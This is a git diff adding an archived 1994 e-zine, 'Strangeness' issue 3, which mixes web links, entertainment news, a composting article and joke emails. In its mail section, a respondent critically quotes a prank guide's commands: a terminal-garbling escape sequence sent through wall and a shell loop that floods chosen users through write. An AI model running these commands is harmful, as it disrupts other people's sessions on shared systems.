now we have to figure out schedul= +es=20 +that work for us - it's a whole new level of complexity.=20 +C:=09I notice one song is written by four of you on _John Henry_ - "A.K.A.= +=20 +Driver" - and the rest were written by you and John. Were there any proble= +ms=20 +with that - songs that the other members contributed on, that didn't make t= +he=20 +final cut? +TMBG:=09No, not at all. John and I are the songwriters on the project - we'= +ve=20 +been in the band for eleven years and to some extent, They Might Be Giants +is linked to the collaboration between the two of us. It's hard for me to= +=20 +imagine how it could work any other way. When they are involved in the=20 +writing process, they are credited, but the songs are pretty arranged by th= +e=20 +time they get to the band. They bring out the nuances in the material, but= +=20 +the arrangements come down to me and John. +C:=09Other than the band, how did _John Henry_ differ for you from the=20 +other albums? +TMBG:=09It was the first record we made outside of New York City (in=20 +Bearsville, New York). +C:=09Was t diff --git a/textfiles.com/magazines/MISC/3.strangeness b/textfiles.com/magazines/MISC/3.strangeness new file mode 100644 index 00000000..3092f421 --- /dev/null +++ b/textfiles.com/magazines/MISC/3.strangeness @@ -0,0 +1,2367 @@ + + +***** + + +Welcome to Strangeness.... issue 3. 11/13/94 5AM + +This issue: more random stuff and nonsense, tons of new web sites, some +tarantino info, a very strange composting story, etc... I dunno. Just read +it. Maybe you'll dig it. + +Copies are available either by email from me (jonathar@gas.uug.arizona.edu) or +by FTP from etext.archive.umich.edu in the pub/Zines/Strangeness directory. + +Contributions of any type are always encouraged... especially random +factoids. + + +oh... by the way. +THIS ISSUE COMES WITH A BONUS .GIF FILE DAISY DUKE! (her real name +is Catherine Bach) + groovy. + + + + +============================================ +>From ag117@lafn.org Sun Nov 6 11:12:14 MST 1994 +Newsgroups: rec.arts.movies +From: ag117@lafn.org (J. Young) +Subject: Quentin Tarantino Filmography FAQ + +Quentin Tarantino Filmography FAQ +Compiled by Johnnie J. Young [11/02/94] + +"Golden Girls" TV Episode [1992?] (Actor) +Eddie Presley [1992] (Actor) +Reservoir Dogs [1992] (Director/Writer/Actor) +True Romance [1993] (Writer) +Natural Born Killers [1994] (Story) +Pulp Fiction [1994] (Director/Writer/Actor) +Killing Zoe [1994] (Executive Producer) +Sleep With Me [1994] (Actor) +Four Rooms [1995] (Director/Writer/Executive Producer/Actor) +Destiny Turns On the Radio [1995] (Actor) +Hands Up! [1995] (Actor) +Return of the Mariachi [1995] (Actor) + +Feel free to list any additions or updates... + +Johnnie J. Young +ag117@lafn.org + +_____====00000-______ + +>From proussel@pdx144.intel.com Sat Nov 12 15:13:32 MST 1994 +Newsgroups: alt.music.alternative +Subject: more about John Zorn's American record label + + Zorn's American label will be called Tzadik (instead of Arcana, be- +cause of the existence of another record label with this name). Contrary to a +previous rumor, the label will not work with The Knitting Factory Works. Three +directions will characterize Tzadik: + + New Japan Music + Radical Jewish Culture + New Composers + +To which has to be added the reissue of some Japanese and early Zorn releases. + +First releases are planned for January and records by the following artists +are to be expected (I put a "*" for the ones that should be released in 1995): + +* Ground Zero + 2 x Ikue Mori +* Keiji Haino +* Ruins +* Ruins + Bailey +* Fushitsusha + Zorn + Eye + +* Anthony Coleman +**** 4 x Masada (!) +* New Klezmer Trio +* Krakauer +* John Zorn (Film Works Vol. 2) +* John Zorn (Film Works Vol. 3) + John Zorn (Early Works 1974) + +* David Shea +* Mark Feldman +* Alvin Curran +* Gisburg (vocalist composer) + Richard Teitelbaum + Richard Foreman +* Arnold Dreyblatt +* Shelley Hirsch +* Chris Brown + Marc Degliantoni + +Reissues (all Zorn records): + + Elegy (initially on Eva) + Kristallnacht (initially on Eva) + Locus Solus (initially on Rift and Eva) + School (initially on Parachute) + Pool (initially on Parachute) + Archery (initially on Parachute) + Classic Guide To Strategy Vol. 1 (initially on Lumina) + Classic Guide To Strategy Vol. 2 (initially on Lumina) + +As you can see, a lot of exciting things are around the corner (maybe the +reason why Zorn was so "record" quiet this year :-). + +Also, a Masada on DIW should be released soon (maybe it is available, not +sure of that yet). + + Patrice. + +-- + + Patrice L. Roussel + proussel@ichips.intel.com + + + + +---- +news? + +E! Entertainment channel said today that it has scheduled interviews with +Leonard Nimoy, Nichelle Nichols, and George Takei about why they were not +included in Star Trek: Generations movie. They are set to appear Nov. 17 on E +News Daily at 9:30 p.m. +(source: Studio Briefing) + +I guess people really still care about Star Trek... enough for E! to make a +press release about it. Those wacky trekkies... they tend to get a little +obsessive. Some of these people have taught themselves how to speak in +Klingon!!!! Does anyone +actually know anyone who can speak Klingon? +I mean... I don't. But someone out in NetLand must.... + +___-_--_----_-__----____--_ + +FACTOID: +the original pogs (yaknow... the "garbage pail kids" of the 90's type +things) and original pog game came from hawaii. See, pogs were really the +top of a POG bottle of juice. POG stood for Pineapple Orange Guava. + +does anyone know why all those gangstas in the back of rap videos are +wandering around with one pantleg up? My friend took a trip around the +country this summer, and she said she saw it everywhere on the east coast. + +---------- +I found something really strange while ARCHIEing for the word "dan." It's +called "Pick Dan's Brains about gardening. It's at: + +URL: gopher://gopher.usask.ca + +Haven't you ever wondered about composting? I know I have! Here's your +chance to learn. Thanks Dan! + +Large and Small Scale Composting Pays Off + +Tom Ward + +In July of 1991, Dan Swerhone of Services for Seniors and I +decided to start a project to compost waste straw from the +Saskatoon Race Track, vegetables from the Safeway and Coop +Stores, grass clippings from a variety of sources, and sawdust. +We started composting July 15 and by mid September the first +piles were pretty well composted. + +During the venture, which we called the Saskatoon Community +Composting Project, we developed the following guidelines for +good composting on a large scale: + +* To get good compost with rapid breakdown of material, it is +important to have approximately one-half soft green materials +such as grass clippings or vegetables scraps and one-half dry +materials such as straw or sawdust. + +* These materials must be thoroughly mixed and keep moist for +breakdown to occur. It is especially important to keep piles +moist; otherwise they dry out quickly in our characteristically +dry, windy and hot summer days. If the dry out, the composting +process will stop working. + +* We wet the piles down thoroughly, turnt them, and rewet the +piles. New piles are watered and turned as often as we can turn +them, usually every other day. Piles that are not turned will +become anaerobic and begin to smell. + +* New piles usually reach temperatures of 160 F by day two and +are well on their way to being good compost. + +* We also found that for the most efficient composting, the piles +should be approximately 4.5 m (15 ft) wide by 3.7 m (12 ft) high +and as long as you can make them. Piles that are small fail to +develop enough heat and dry out too quickly. + +Composting Begins at Home + +Following the general guidelines given above, you may start a +compost piler in your own backyard which will reduce the amount +of waste you send to the landfill. It may take you longer to get +good compost in a small pile. However, if you keep it moist and +turn it often, it will eventually yield a nutritious amendment +for your garden or a moisture-saving mulch for your flower beds. + + +It is best to choose a compost designed from materials that are +sturdy, resist or restrict animals, and keep moisture from +leaving the pile. It should be kept in mind that approximately +2/3 of our household wastes could be composted, resulting in a +savings to society of nutrients/organic matter as well as reduced +landfill costs. + +Should you wish to try our compost please phone Services for +Seniors at 665-0661. With help from the abilities council we +have compost for sale in a sealed plastic container. + +Information on composting can be gained by phoning the garden +information line at the University of Saskatchewan. + +Ward is a staff member with the Department of Horticulture +Science. This column is provided as a service by the Extension +Division and the Department of Horticulture Science, University +of Saskatchewan. + + _______---_-___- + +I also found a great interview with the president... done by dan rather, +of course. If you want a copy of it I'll mail it to you. It's actually +pretty long... + + + + + =====WEB SITEZZZZZZZZ=========== + +I thought it would never happen, but there is now a Greenday homepage. Are +homepages punk rock? Jeezus... + +http://www.cs.vu.nl/~edoe/greenday.html + ++++++++++++ +Hey, folks - Moby's having a remix contest for +"Everytime You Touch Me" and you can get sound bites for +the "Feeling So Real" single, AND a lo-fi version of the +remix track containing the samples n' stuff for "Everytime +You Touch Me" at: + +http://www.echonyc.com/~spingo/Elektra/Moby/ + +Good luck! Contest ends soon! + +=================== +A new Issue of the Trincoll Journal - the world's only weekly student +run multimedia magazine - has just been published. + +http://www.trincoll.edu/tj/trincolljournal.html + +I dunno about this... it's kinda cheezy. +=+++++========== +Buzzcocks WWW pages @ + http://www.cityscape.co.uk/users/ac46/ + + +=======+++++==== +the following pages relate to (I think) the holmoka case. People who read +alt.net.scandal probably have some clue to what this is... me, I just think it's +all pretty silly, but whatever... decide for yourself. Lots of k00kiness. + +http://www.interlog.com/eye/News/Eyenet/GM/gm1.html + + +http://www.interlog.com/eye/News/Eyenet/net-1027.html <-<< Bob Allisat +http://www.interlog.com/eye/News/Eyenet/net-0818.html <-<< More Bob! +http://www.interlog.com/eye/News/Eyenet/net-1013.html <-<< a.u.k. +http://www.interlog.com/eye/News/Eyenet/net-0922.html <-<< Bruce M. Lloyd, Sep +KotM! +http://www.interlog.com/eye/News/Eyenet/net-0908.html <-<< Andrew, Beckwith +among others + +++++++=== +BRUCE STEVENS +Nothing says "class" like having your own web page, eh? Since I don't have a +graphical viewer (yet) I didn't get the chance to view the mugshot of Bruce or +his lovely fiance... oh well. There's also a bunch of links to obscure record +labels that I'm +becomming ever more hip by discovering.... hurry up before they sell out! + + +http://pasture.ecn.purdue.edu/~stevensb/ + + +_____________ + +I have no idea what this is.... + + + +>Free Mindviewer for DOS or Mindprober II for Windows on WWW Page +>The Mindware WWW Page http:\\www.systemv.com\mindware\index.html +>features free personality software plus 37 other brain boosting and +>self-improvment titles....or join our online e-mail catalog list at +>MINDWARE-CAT@CUE.COM with any message in the body and header. +>Try this amazing software ....from the human side of computing, Mindware! +___________------ + +Exclaim Magazine is Canada's Monthly Alternative Music Tabloid. World +Wide Web pages containing _some_ of Exclaim's monthly contents are +maintained at Private World's Online Shmooze at the URL: + +http://www.io.org/~pwcasual/exclaim.html + +I dunno. This is worth checking out, I guess. + +++++++++++++++ + +fookin' O.G. Simpson, mang. + +ftp://ftp.netcom.com/pub/carasso/www/oj.html + +---------- +the Subbacultcha page +covers The Pixies as well as Throwing Muses et al. + +http://www.stack.urc.tue.nl/~patrick + +============== +random stuff, ranging from PC text files to technology links. + +http://seds.lpl.arizona.edu/~smiley + +----------- +Lots of band info/links... + +http://www.dsv.su.se/~petter-s/ + +======= +OooOooo. Act fast. +I didn't check this out... maybe you will... + + +*An _EXCLUSIVE_ preview by Cynthia Rose of the forthcoming Nirvana video, +'Live! Tonight! Sold Out!' which will be released on 15th November* + +Check it out on Cynthia Rose's 'Real Time Top Ten' at the web's true +alternative voice: state51 + +state51 + +state51 carries hot music and arts news, interactive media features, cute +stuff and funny stuff. + +====== +Industrial World Wide Web page +contains e.g vital a-z band info, related industrial sites, a guestbook and +more. + +http://www.uib.no/People/henrik/industrial.html + +--------------- + +Fred "Sonic" Smith, formerly of the MC5 and the husband of Patti Smith +died Saturday November 5, 1994. In his memory, somebody created a web page. I +think that's really neat. + +http://131.188.190.131/~mikel/fred.html +======= + +Go! Discs http://www.godiscs.co.uk/godiscs/ +PWEI (Independant site) http://kzsu.stanford.edu/uwi/pwei/pwei.html +PWEI (Official Site) http://www.elmail.co.uk/music/pwei/pweipage.html + +Masses of music sites to be found by checking out the following: + +Index of Web Music sites +http://www.cc.columbia.edu/~hauben/music-index.html + +Mammoth Music Meta-List +http://www.cs.edu:8001/afs/cs.cmu.edu/user/jdg/www/music.html + +============ + +As dorky as this might sound, the fact that basically anyone can get a web page +now and anyone with internet access can hear a band's song and see a full bio on +them or whatever is really going to change the music industry... and the +entertainment +industry in general. I guess what I'm trying to say is, the net is becomming a +powerful advertising tool when used in the right way. + +Startrek Generations is the first movie to be advertised this way... it's going +to happen a lot more in the future. Megadeth's new album had a sticker on the +front with a web address on it... an address to a place called Megadeth, +Arizona. You have +no idea how fucking cool this site is. + +http://bazaar.com/ + +I didn't buy the album, but after visiting megadeth, arizona, which is +apparently located somewhere in the lovely Phoenix suburb called Scottsdale, I'm +a lot more tempted. +******************************************************************************** +MusicLink Presents "Web pages for Musical Artists" + +The World Wide Web uses hypertext to link many internet sites together from +a home page at your site. This allows people to access telnet sites, ftp +file areas, gophers, WAIS sources and other internet resources. + +On your web page you can set up links to your tour schedules, product sales +areas, fan list information, file areas containing sound files, graphics +files and info/bios on your band/yourself. This can be designed with your +logos, graphics, pictures for an easy to use point and click interface with +text, pictures, sound players, and even quicktime movies. + +Anyone can reach your page from anywhere in the world as long as they have +access to a World Wide Web site and/or have a World Wide Web +program(available as share ware. + +Web Page Setup/Design +$25-$50 a page(depending on complexity) + +or + +Web Page Setup/Design/Maintenence(Updates etc...) + +$25 a page plus a monthly maintenence fee + +http://www.ramp.com/~kamakaze + +======Kamakaze Music-The Full Service Musicians Service Company=========== + + +Orbitrecords +http://www.hyperreal.com/music/labels/orbitrecords + + +----- + +now, I ask you... where else would you find something like this... +the Arts Council of Northern Ireland + +http://www.gpl.net/n_ireland/culture/songwriters/songwriters.html + +fuckin' unnatural, I say... + +_____--_----- + +Music Industry Contact + +http://www.io.org/~cme + +I think it's some big list of k00l industry types... I got myself on the movie +equivalent, I think. + +--------------------- + +JUKENET is a brand new WWW based support base for indepentant musician. +Currently, Jukenet has over 325 titles online. The system offers a full +series of pages for each band including pictures, sound clips, full online +portfolio, booking information, upcoming events, etc. Jukenet also goes a +step further by letting + the consumer order indepentant music right online, +for incredible prices (usually $4-5 per tape and $6-$8 per CD). + +JUKENET is currently looking for bands and artist to put up. For a limited +time, we are giving away band pages for FREE! + +JUKENET can be accessed through any World Wide Web browser by jumping to + +HTTP://JUKENET + +---00000000000000____________ +Oasis + +http://www.music.sony.com/Music/ArtistInfo/Oasis.html + + +ADVERTISING!!!! www.music.sony.com.... hmmmm. +fucking big business invading the net.... I wonder if it's as cool as Megadeth, +Arizona. +Am I just too old to be hip? I don't even know who oasis is... + +__________----- + +Knitting Factory records/club/goodness..... + + +ftp://ftp.netcom.com/pub/knitting/KF_WWW/KFHome.html + +----__-_----- + +Stone Roses. + +Ugh. I hate the stone roses more than anything in the world.... even more than +the happy mondays. + +http://www.umr.edu/~mquinn/music/stone.roses/sr001.html + +__--__---- +Brit indie stuff +It should be noted that .crl.com is in my old stomping grounds of contra costa +county california. It's scary out there.... I've been too afraid to check out +this site. + +ftp://ftp.crl.com/users/ro/scottz/twee/home.html + + +======== +Startrek, Generations. +Generations is the first major motion picture ever promoted on the internet... +look for this to be an upcomming trend in film advertisement... is that good? +Think about being able to download all the Quicktime movies of trailers that you +wanted! + +http://generations.viacom.com + +========= + +http://198.114.176.141/kyo/kyomain.html + + "Kyosaku (n.) -- The stick that Zen masters use to whup their + students upside the head, sending them on the path to higher + consciousness. + + This magazine is dedicated to endangered concepts. + These concepts are: humor, art, philosophy, the quest for higher + consciousness, uncalled-for-absurdity in the face of pessimism, and + unpretensiousness." + +=============== +Muppets FTP site: ftp://hobbes.eds.udel.edu/ETL_FTP_Site/public/muppets + + +Muppets WWW site: http://www.ncsa.uiuc.edu/VR/BS/Muppets/muppets.html + +============= +hmmm..... + +Soap Operas, anyone? + + +"Young & Restless" http://www.digimark.net/wow/yr/ + + +"Bold & Beautiful" http://www.digimark.net/wow/bb/ + + + +++++++++++++++++++++++++++RANDOMNESS+++++++++++++++++++ +------- +rec.arts.tv #102245 (4 + 517 more) [1]--[1] +From: ag117@lafn.org (J. Young) [1]+-[1] +[1] Sid & Marty Krofft Saturday Morning Shows \-[1] + + +Watch for the book "H.R. Pufnstuf to Land of the Lost: the World of Sid & +Marty Krofft". The following is a complete list of the Saturday Morning +Television Shows covered in the book: + +H.R. Pufnstuf (9/6/69-9/4/71) NBC 30 min. +Pufnstuf (Movie) (1970) 98 min. +The Bugaloos (9/12/70-9/2/72) NBC 30 min. +Lidsville (9/11/71-9/1/73) ABC 30 min. +Sigmund & the Sea Monsters (9/8/73-10/18/75) NBC 30 min. +Land of the Lost (9/7/74-9/3/77) NBC 30 min. +Far Out Space Nuts (9/6/75-9/4/76) CBS 30 min. +The Lost Saucer (9/6/75-9/4/76) ABC 30 min. +The Krofft Supershow (9/11/76-9/2/78) ABC 9/76-90 min. 12/76-60 min. + [Hosted by Kaptain Kool & the Kongs. The 1976-1977 Season included + Electra-Woman & Dyna-Girl, Wonderbug, Dr. Shrinker, and repeats of The + Lost Saucer. The 1977-1978 Season included Wonderbug, Magic Mongo, and + Bigfoot & Wildboy] +The Krofft Superstar Hour (9/9/78-10/28/78) NBC 60 min. + [Hosted by the Bay City Rollers. Included repeats of Electra-Woman & + Dyna-Girl, Kaptain Kool & the Kongs, Dr. Shrinker, and H.R. Pufnstuf] +Krofft Super Stars (1978) Syndicated 30 min. + [Included repeats of The Bugaloos, Electra-Woman & Dyna-Girl, The Far + Out Space Nuts, H.R. Pufnstuf, Sigmund & the Sea Monsters, Land of the + Lost, The Lost Saucer, Dr. Shrinker, and Wonderbug] +Pryor's Place (9/22/84-6/15/85) CBS 30 min. +Land of the Lost (Updated Version) (9/91-9/93) ABC 30 min. + + +"H.R. Pufnstuf to Land of the Lost: The World of Sid & Marty Krofft" +currently being written in full cooperation with Sid & Marty Krofft. It +will cover not only the television shows that we all remember, but also +the Krofft brothers' rich history in puppetry, their struggle making it +in Hollywood, the Krofft Theatre, the Krofft Theme Park in Atlanta, and +more. + +I would love to hear from fans of these shows. Would you be interested +in buying a book like this? Do you have any suggestions on things that +you would like to see covered in the book? Drop me a line and let me +know your thoughts. + +Johnnie J. Young +P.O. Box 1534 +Studio City, CA 91604 +ag117@lafn.org +------ + + + + +A Muppet version of Treasure Island is scheduled to begin production in London +in March for Disney Pictures with a 1995 Christmas-holiday release projected. +(Source: Studio Briefing) + + +___ + + + +oVer 22oOo oF youR FaVoriTe TFiLEs onLine, wiTH A FuLL sCReen VieWer and +aLL TeXT is KEywoRD SeARchABLe to finD The EXaCT inFO you'rE LoOkinG +For. + +TeLneT/ftP: sfpg.gcomm.com + + +I think I've got an account there now. I didn't really have a chance to fully +explore it, but the oH-So-ELIte typing gets really, really grating. + +____ + +John Cleese, Jamie Lee Curtis, Kevin Kline, and Michael Palin, all of whom +appeared in A Fish Called Wanda, will reunite for a new, as-yet-unnamed feature +for Universal, the studio announced Monday. In a statement, Cleese, who will +write forthcoming feature, called it "an equal, not a sequel." + +------ +Greg Kinnear rocks... it's just that simple. + + +Greg Kinnear, host of NBC's Later and E! Entertainment's Talk Soup, may +co-star with Harrison Ford in Paramount's remake of Sabrina, Daily Variety +reported today (Monday), citing unnamed sources. + + + +------ + + ++++++ Our Friend, MR. T. + +(this was all snagged from On the Jazz... the unofficial A-Team Bulliten, +available from Nicole Pellegrini [pellegri@eniac.seas.upenn.edu or +nicpell@aol.com]. You should definatetly subscribe....) + + + One Mr. T moment I wish I had on tape was something I +saw over this past summer on the Today show. Al Roker was filling in for +Willard +Scott that day. Back in the eighties when Al was still just doing weather +reports for "Live at Five" in New York, he mentioned a couple times that he +was a big A-Team fan. Anyway, so this one morning Al was doing a little +pre-forcast blurb for a strong-man contest on cable and interviewing someone +about it when in comes Mr. T, who was the host of the event. Al proceeds to +flip out, yelling "Hey! Mr. T! Hey sucker! I'll take you on any day!" etc., +etc., and T took the bait and the two of them were there yelling at and +insulting each other for a good minute or two, it was really hilarious. + + + I remember Mr. T being on Silver Spoons. I wish I had that +on tape. I remember Ricky's dad hired Mr. T to protect him at +school against a bully. Mr. T also did an episode of Different +Strokes (truely a classic) and most recently an episode of Blossom +last season. NBC might reair that Blossom episode sometime, so be +on the lookout. + + + Mr. T did in fact appear on a wrestling pay-per-view +event last Sunday (10/23) in Detroit, Michigan titled "Halloween +Havoc". It was a WCW pay-per-view event, not a WWF one. Mr. T +acted as the special referee for a Career vs. Career match between +Hulk Hogan and Ric Flair. Hogan won the match and sent Flair +packing. Surprisingly enough, Mr. T remained impartial throughout +the match. More on Mr. T in WCW... World Championship Wrestling is +owned by Ted Turner and they recently signed Hulk Hogan to a multi-year +contract. Hogan has apparently influenced the people at Turner to find +a permanent place for Mr. T. In January 1995, taping will begin for +four Thunder in Paradise movies that will air on TBS. The movies +will star Hogan, T., and wrestler Sting. It's sad to see Mr. T's +career like this. At one point, he was getting Hulk Hogan jobs +(Rocky III), two A-Team episodes. They have been good friends for +years, so atleast Hogan is taking care of his friend. + + +------__---_ + +FAIR USE NOTICE. This document contains copyrighted material whose +use has not been specifically authorized by the copyright owner. +The CHANCE project is making this material available as part of our +mission to promote critical thinking about statistical issues. +We believe that this constitutes a `fair use' of the copyrighted +material as provided for in section 107 of the US Copyright Law. +If you wish to use this copyrighted material for purposes of your own +that go beyond `fair use', you must obtain permission from the +copyright owner. + +________0000000000000000++++++++++++++++++ + Mail Bonding. + jonathar@gas.uug.arizona.edu +----------____------------------- +first of all, I want to thank whoever-you-are in Phoenix who sent me the +kinko's coupons. + +Umm... I'm going to start doing zine/music reviews. Send me something for +free and I'll review it.... hehehe + +jon roig +295 N 3rd Ave +Tucson, AZ + +or just mail me and make me feel cool. + +============================================== + +>From got@srv.netFri Nov 11 16:28:27 1994 +Date: Wed, 2 Nov 94 21:12:30 -0700 +From: "Adam C. Gott" +To: jxl@srv.net, jonathar@gas.uug.arizona.edu, brankin@utdallas.edu, + got@srv.net, craig.s.thom@genie.geis.com, lab@indirect.com, + anarch@cyberspace.net, gt9923a@prism.gatech.edu, megalon@teleport.com, + palmerp@math.orst.edu, trish_r@mind.org, jgdublin@ucdavis.edu, + sambo@kbbs.com, charlesesola@delphi.com, umsinge2@cc.umanitoba.ca +Subject: TNT and WTBS coming soon + + +UK-TV [Donna Rae] posted on GEnie: + + Selected movies this month + + All movies are showing in November. Numbers are date and time. + All times are central standard time, and the broadcast day goes to 5 am, so + check day and times carefully for any times after midnight. + + TNT + Captain Sinbad (1963) 23 5a + Creatures the World Forgot (1971) 19 midnight + Electric Dreams (1984) 5 2a + Explorers (1985) 6 11a + Godzilla vs Monster Zero (1966) 26 8:55p + Godzilla vs Mothra (1964) 26 7p + Godzilla, King of the Monsters (1956) 26 2:15a + Godzilla's Revenge (1969) 26 11p + Terror of Mechagodzilla (1978) 26 12:30a + Heavy Metal (1981) 23 2:15a + The Ice Pirates (1984) 11 2:25a + Jason and the Argonauts (1963) 24 8:45a + Logan's Run (1976) 11 12:05a + Nightwing (1979) 18 1:45a + Prehistoric Women (1967) 19 2a + Sinbad and the Eye of the Tiger (1977) 24 11a + Them! (1954) 18 10p + The Valley of Gwangi (1969) 24 3a + War of the Gargantuas (1970) 12 3p + When Dinosaurs Ruled the Earth (1970) 19 10p + + TBS + Beastmaster (1982) 25 11p + Beastmaster 2:Through the Portal of Time (1991) 24 6:30a + Bill and Ted's Excellent Adventure (1989) 26 11:05p + Child's Play (1988) 15 9:05p + The Dark (1979) 16 1:05a + The Final Countdown (1980) 23 12:05p + Hercules (1983) 5 1:05a + The Incredible Mr. Limpet (1964) 20 1:05p + The Island of Dr. Moreau (1977) 7 1:05a + The Last Starfighter (1984) 12 1:05p + Masters of the Universe (1987) 5 11:05p + One Dark Night (1982) 2 11:05p + Robot Carnival (1987) 4 2:20a + Salem's Lot (1979) 1 7:05p + The Savage Bees (1976) 15 12:50a + Stephen King's Cat's Eye (1985) 2 9:05p + Tales From the Darkside:The Movie (1990) 15 7:05p + 2010 (1984) 30 midnight + Vampire Hunter D (1992) 4 11:05p + - +------------------------------------------------------------------- +Join the Cult movies on TV alert list! +Send email to got@srv.net and ask to be included. + +======================================================== +>From coryg@community.netFri Nov 11 16:29:06 1994 +Date: Thu, 3 Nov 1994 00:49:34 -0800 +From: Cory Gowan +To: jonathar@gas.uug.arizona.edu + +*Updated 11-01-94* + +Minor Threat - 9:30 club, Washington DC 6/23/83 +Operation Ivy - Gilman St., Berkeley, CA 5/28/89 (Note: LAST SHOW) +Nofx-Maxwells, Hoboken, NJ ??/??/?? +Green Day- Minneapolis 3/29/94 +Green Day- Houston 9/16/93 +Green Day- Fairfax High School 2/26/94 +Green Day- AJZ Verden, Germany 11/2/91 +Green Day- Italy ??/??/93 +Green Day- Live TV performances + Interview +Pixies- Timeless Stars ??/??/89 Other unreleased tracks + + Email: coryg@odin.community.net *Preffered Address* + 94fa042@viking.dvc.edu + + + +*More info available through email* +*Trade preferred/will sell if needed* + +++++++++++++++++++++++ + + +>From earle@isolar.Tujunga.CA.USFri Nov 11 16:33:18 1994 +Date: Sat, 5 Nov 94 12:26:13 PST +From: Greg Earle +To: mrclean@io.org +Cc: net_scandal@io.org +Newsgroups: alt.zines, alt.2600, alt.journalism, alt.cyberpunk, + alt.net.scandal, alt.news-media, alt.censorship, alt.fan.karla-homolka, + alt.fan.paul-bernardo, cabal.config, ont.general, tor.general, + news.admin.misc, news.newusers, can.general +Subject: Re: NET.SCANDAL vol.16 - the Halloweenie Spooker! + +In article <392c0m$9k2@ionews.io.org> you write: +> +>************************************************************************* +>*VOL:16* NUMBER 13, Oct 31, 1994 NO RIGHTS RESERVED TORONTO +>************************************************************************* +... +>* S P O R T S P A G E * +>^^^^^^^^^^^^^^^^^^^^^^^^^ +>- by The Most Reverend Father Lucifer Messiah +> +> BLITZING: or How to Clear A Site To Give You 100% CPU Time +> ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ +> By: The Most Reverend Father Lucifer Messiah +... +>The first method is very quick, simple, and dirty. Log onto any Unix based +>system, and type this at the commandline: +> +>echo -e "\033c\033(0\033#8\033[1;3r\033[J\033[5m\033[?5h"|wall +> +>This will cause everybody's screen to go haywire. You will know if it +>worked by what appears on your own screen. Only do this on your own system. + +For one, this only works if the "echo" is a System V version of "echo"; e.g. +"/usr/5bin/echo" on SunOS systems. BSD versions of echo simply swallow your +"-e": + +bsdhost % echo -e "\033c\033(0\033#8\033[1;3r\033[J033[5m\033[?5h" +-e \033c\033(0\033#8\033[1;3r\033[J\033[5m\033[?5h + +>If anyone is logged on a virtual console, the machine will need to be +>rebooted to clean up the mess. (There may be a reset command for fixing the +>text mode on the system you do this to. Unfortuneately, all of the systems +>I tried this on could not use it effectively, and were forced to reboot) + +Anyone with a machine running the X Window System and "xterm" as their +terminal emulator can simply reach up to the Ctrl- menu and +select "Do Full Reset" and the screen mess goes away. Ho hum. + +>The second method is much more intuitive. Cut out the shell script and +>save it in a file called 'blitz'. Then use the command 'chmod a+x blitz' +>to make it executable. It is then ready to go. +... +> echo Blitzing the following users: +> for i in $*; do +> echo -n $i\ +> yes GROOVE OR DIE\!|write $i & +> done + +Bugs - for one, without quotes this will put out only "GROOVE". For another, +most UNIX systems have a bug that will end up with "GROOVE - command not found" +being splatted on your OWN terminal after a while, so you "blitz" yourself in +the bargain. + +In short, this stuff isn't "harmless fun", it's just puerile stupidity. +Anyone that did this at a professional place of employment would probably find +their ass canned in short order. + +>Look into the IHAVE mystery next time you telnet to port 119 + +What "IHAVE mystery"? port 119 is only active on news servers that run an +NNTP daemon, such as INN's "innd" or the NNTP reference port's "in.nntpd". +"IHAVE" (along with the response "SENDME") is a way for news servers to +exchange news articles by one side (the master) telling the other server that +it has such-and-such article (feeding it an article i.d. as the argument). + +There is no "mystery" to it whatsoever. And most "modern" news servers are +configured to not talk to hosts that aren't listed as being fellow news server +peer hosts, so this "prank" is pointless. + + - Greg + ++++++++++++++++++++++++++ + + +>From jonathar@gas.uug.arizona.eduFri Nov 11 16:35:04 1994 +Date: Sun, 6 Nov 1994 12:09:11 -0700 (MST) +From: blah +To: msc@dana.ucc.nau.edu, Samuel C Kimmel , + Bryce R Strickland , + Elizabeth A Parker , + Joshua H Roffler , + Karen M Nutaro +Subject: The Robotussin (DM) Alien Manifesto + + + __ALIENS__ +All the negative alien shows that we show on TV are sending out the wrong +message about us as human beings. The aliens, they monitor our +communications before coming too close to earth. What do they see? They +see all these shows like "V" and "War of the Worlds." Humans always end +up fighting aliens and eventually kicking butt. What we need are more +shows like "Alf," where humans and aliens can co-exist in relative +harmony. It's easy to see where the alien's misunderstanding could arise +from. + +So, I ask you all, to pledge your alliegance in my quest to stop sending +all the bad vibes to visiting aliens. Stopping all this negative press +and putting an end to all the anti-alien propaganda is the only way to +insure future, peaceful alien arrival on the planet Earth. + +thank you... and yes, "The Explorers" changed my life. + +--- +blah +jonathar@gas.uug.arizona.edu + + +++++++++++++++++++++++++++ + +>From msc@dana.ucc.nau.eduFri Nov 11 16:35:37 1994 +Date: Sun, 06 Nov 1994 15:51:18 -0700 (MST) +From: Captain Trips the Intrepid Journeyman +To: blah +Cc: Samuel C Kimmel , + Bryce R Strickland , + Elizabeth A Parker , + Joshua H Roffler , + Karen M Nutaro +Subject: Re: The Robotussin (DM) Alien Manifesto + +on behalf of the gang i would like to thank you jon, for this +enlightening and informative message on the perils of human +arrogance...your love and compassion for the human condition is both +rivoting and touching, and i can very honestly say it makes me proud to +be a fellow human and a fellow american...god bless you jon and apple pie +as well... + Peace, + MC + + + --~~~~~~~~~~~~~~~~~~~~~~-- + || msc@dana.ucc.nau.edu || + // Michael Cohen \\ + || Captain Trips the Intrepid Journeyman || + ------------------------------------------- + + you ain't gonna learn what ya don't wanna know + -john barlow + + + +************************************0000000000000 + +>From skimmel@gas.uug.arizona.eduFri Nov 11 16:36:38 1994 +Date: Mon, 7 Nov 1994 12:06:47 -0700 (MST) +From: "the reverend doctor sammy lamma, esquire" + +To: blah +Subject: Re: The Robotussin (DM) Alien Manifesto + + +jon + +i can only suspect the soft mental state you were in when you formulated +your alien encounter manafesto. you neglect to note, however, that our +earth has been visited by aliens many times. though, probably not so +fancifully as stargate. they suck you out of bed and do microsurgical +rhinoplasty late at night and they have lovely curvalinear ideogramatic +writing on strange metal in their examining rooms. + +and i dare not mention what they do to our innocent livestock and wheat +crops. the governments of this blue green orb know what's going on, +too. remember the roswell incedent. it's no surprise that the +politio-informational complex of this planet has portrayed aliens in a +negative way. they are themselves aliens, and by creating a diversional +alien-hatred in our society and mass culture they ensure thier hidden +grasp on power. + +ha, you don't think they own the bristol-meyer's squibb company and +coordinate mass influenza epidemics to further the sale of their +cough-relief products which are, in fact, formulated to create mass +chemical hypnosis in the population--to be experienced in the extreme by +those who over consume such products. i would hypothesise that +guaifenisin has been specially engineered to engender a feeling of +alien-empathy in those who consume it. + ++++++++++++++++++++++++++++++++++++++++++++++ + +>From saladin@genie.geis.comFri Nov 11 16:37:12 1994 +Date: Sun, 6 